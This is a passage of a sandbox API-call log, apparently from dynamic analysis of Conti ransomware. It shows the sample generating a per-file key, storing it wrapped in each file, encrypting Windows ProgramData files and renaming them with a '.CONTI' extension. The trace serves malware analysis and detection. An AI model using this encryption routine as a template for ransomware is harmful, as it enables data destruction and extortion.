	[0118.764] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.CONTI" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab.conti")) returned 1
	[0118.764] GetProcessHeap () returned 0x1720000
	[0118.764] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0118.765] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0118.765] GetProcessHeap () returned 0x1720000
	[0118.765] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181aa88 | out: hHeap=0x1720000) returned 1
	[0118.765] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0118.765] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x65d00a0 | out: phKey=0x65d00a0*=0x6b7f0b8) returned 1
	[0118.765] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d00a4, pdwDataLen=0x55ffb34 | out: pbData=0x65d00a4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0118.765] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi")) returned 0x20
	[0118.766] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0118.766] GetLastError () returned 0x0
	[0118.766] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=143360) returned 1
	[0118.766] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x23000
	[0118.766] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.766] SetEndOfFile (hFile=0x378) returned 1
	[0118.767] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.767] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.767] WriteFile (in: hFile=0x378, lpBuffer=0x65d00a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x65d00a4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0118.768] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.768] ReadFile (in: hFile=0x378, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x23000, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x23000, lpOverlapped=0x0) returned 1
	[0120.336] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x23000, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x23010) returned 1
	[0120.336] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.336] WriteFile (in: hFile=0x378, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x23010, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x23010, lpOverlapped=0x0) returned 1
	[0120.337] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.337] WriteFile (in: hFile=0x378, lpBuffer=0x65d0098*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x65d0098*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0120.337] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.337] CloseHandle (hObject=0x378) returned 1
	[0120.337] GetProcessHeap () returned 0x1720000
	[0120.337] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.484] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" | out: lpString1="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi"
	[0120.484] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.CONTI") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.CONTI"
	[0120.484] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.CONTI" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.conti")) returned 1
	[0120.485] GetProcessHeap () returned 0x1720000
	[0120.485] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.485] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0120.485] GetProcessHeap () returned 0x1720000
	[0120.485] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3f28 | out: hHeap=0x1720000) returned 1
	[0120.485] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0120.485] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b46e48 | out: phKey=0x6b46e48*=0x6b7f0b8) returned 1
	[0120.485] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b46e4c, pdwDataLen=0x55ffb34 | out: pbData=0x6b46e4c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0120.486] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi")) returned 0x20
	[0120.490] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0120.491] GetLastError () returned 0x0
	[0120.491] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=143360) returned 1
	[0120.491] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x23000
	[0120.491] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.491] SetEndOfFile (hFile=0x3e4) returned 1
	[0120.491] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.491] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.491] WriteFile (in: hFile=0x3e4, lpBuffer=0x6b46e4c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b46e4c*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0120.492] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.492] ReadFile (in: hFile=0x3e4, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x23000, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x23000, lpOverlapped=0x0) returned 1
	[0120.496] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x23000, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x23010) returned 1
	[0120.496] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.496] WriteFile (in: hFile=0x3e4, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x23010, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x23010, lpOverlapped=0x0) returned 1
	[0120.496] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.496] WriteFile (in: hFile=0x3e4, lpBuffer=0x6b46e40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b46e40*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0120.497] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.497] CloseHandle (hObject=0x3e4) returned 1
	[0120.497] GetProcessHeap () returned 0x1720000
	[0120.497] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.497] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" | out: lpString1="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi"
	[0120.497] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.CONTI") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.CONTI"
	[0120.497] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.CONTI" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.conti")) returned 1
	[0120.497] GetProcessHeap () returned 0x1720000
	[0120.497] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.497] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0120.497] GetProcessHeap () returned 0x1720000
	[0120.497] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1818fe0 | out: hHeap=0x1720000) returned 1
	[0120.498] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0120.498] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b47e40 | out: phKey=0x6b47e40*=0x6b7f0b8) returned 1
	[0120.498] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47e44, pdwDataLen=0x55ffb34 | out: pbData=0x6b47e44*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0120.499] GetFileAttributesW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag")) returned 0x20
	[0120.501] CreateFileW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0120.501] GetLastError () returned 0x0
	[0120.501] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=1068) returned 1
	[0120.501] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x42c
	[0120.501] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.501] SetEndOfFile (hFile=0x3e4) returned 1
	[0120.501] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.501] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.501] WriteFile (in: hFile=0x3e4, lpBuffer=0x6b47e44*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b47e44*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0120.506] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.506] ReadFile (in: hFile=0x3e4, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x42c, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x42c, lpOverlapped=0x0) returned 1
	[0120.506] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x42c, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x430) returned 1
	[0120.506] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.506] WriteFile (in: hFile=0x3e4, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x430, lpOverlapped=0x0) returned 1
	[0120.506] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.506] WriteFile (in: hFile=0x3e4, lpBuffer=0x6b47e38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b47e38*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0120.506] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.506] CloseHandle (hObject=0x3e4) returned 1
	[0120.507] GetProcessHeap () returned 0x1720000
	[0120.507] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.507] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" | out: lpString1="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag"
	[0120.507] lstrcatW (in: lpString1="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.CONTI") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.CONTI"
	[0120.507] MoveFileW (lpExistingFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag"), lpNewFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.CONTI" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag.conti")) returned 1
	[0120.507] GetProcessHeap () returned 0x1720000
	[0120.507] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.507] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0120.507] GetProcessHeap () returned 0x1720000
	[0120.507] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cc950 | out: hHeap=0x1720000) returned 1
	[0120.507] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0120.507] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b48518 | out: phKey=0x6b48518*=0x6b7f0b8) returned 1
	[0120.507] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4851c, pdwDataLen=0x55ffb34 | out: pbData=0x6b4851c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0120.509] GetFileAttributesW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag")) returned 0x20
	[0120.509] CreateFileW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0120.509] GetLastError () returned 0x0
	[0120.509] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=997) returned 1
	[0120.509] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3e5
	[0120.509] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.509] SetEndOfFile (hFile=0x3e4) returned 1
	[0120.509] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.510] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.510] WriteFile (in: hFile=0x3e4, lpBuffer=0x6b4851c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b4851c*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0120.513] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.513] ReadFile (in: hFile=0x3e4, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x3e5, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x3e5, lpOverlapped=0x0) returned 1
	[0120.513] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x3e5, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x3f0) returned 1
	[0120.513] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.513] WriteFile (in: hFile=0x3e4, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x3f0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x3f0, lpOverlapped=0x0) returned 1
	[0120.513] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.513] WriteFile (in: hFile=0x3e4, lpBuffer=0x6b48510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b48510*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0120.513] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.513] CloseHandle (hObject=0x3e4) returned 1
	[0120.513] GetProcessHeap () returned 0x1720000
	[0120.513] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.513] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" | out: lpString1="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag"
